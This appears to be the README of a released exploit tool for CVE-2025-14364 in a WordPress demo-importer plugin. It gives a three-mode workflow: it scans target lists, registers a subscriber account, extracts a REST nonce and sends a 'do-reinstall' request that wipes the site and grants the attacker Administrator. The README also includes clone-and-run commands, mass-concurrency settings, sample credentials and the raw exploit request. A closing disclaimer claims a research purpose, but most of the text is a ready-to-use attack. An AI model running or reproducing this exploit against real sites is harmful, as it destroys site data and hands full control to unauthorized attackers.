_      _   _   _  _   _            _   _
 / \  / |_ __ ) / \  ) |_ __ /| |_|_ _) |_ |_|_
 \_ \/  |_   /_ \_/ /_  _)    |   |  _) |_)  |

Mode 1 — Diagnose
  Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
  → Identify live WordPress targets

Mode 2 — Register
  POST /wp-login.php?action=register
  → Create subscriber account
  → Activation email sent to inbox
     ↳ You MUST click the email link before running Mode 3

Mode 3 — Exploit
  POST /wp-login.php                         → Authenticate as subscriber
  GET  /wp-admin/                            → Extract wp-rest-nonce
  POST /wp-admin/admin-ajax.php
       action=demo_importer_plus
       {"demo_action":"do-reinstall"}        → Trigger full site reset
  ← Response: "Site has been reset successfully"
  → Attacking account now holds Administrator role

git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py

aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0

Mode [1/2/3]:           1 = Diagnose   2 = Register   3 = Exploit
Targets file:           list.txt  (one host per line)
Concurrency:            default 30, max 200
Timeout:                default 10s

https://target1.com
target2.com
http://target3.com

Mode: 1

Mode: 2
Email:    [email protected]
Username: Nxploited
Password: NxploitedSA

Mode: 3
Username: Nxploited
Password: NxploitedSA

[HH:MM:SS] SUCCESS  "success":true,"message":"Site has been reset successfully" -> https://target.com

https://target.com/wp-login.php  site:...  user:Nxploited  pass:NxploitedSA  type:admin

POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>

{"demo_action":"do-reinstall"}

{"success": true, "data": {"message": "Site has been reset successfully"}}

wpApiSettings.nonce              (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce   (fallback)

By   : Nxploited (Khaled Alenazi)
GitHub   : https://github.com/Nxploited
Telegram : @KNxploited

THIS SOFTWARE IS RELEASED STRICTLY FOR SECURITY RESEARCH AND EDUCATION.

The author bears zero responsibility for any actions taken with this tool
against systems the operator does not own or have explicit written
authorization to test.

Unauthorized use against third-party systems violates computer crime laws
in most jurisdictions (CFAA, CMA, and equivalents worldwide) and may result
in criminal prosecution.

You alone are responsible for ensuring you have lawful permission
before running this tool against any target.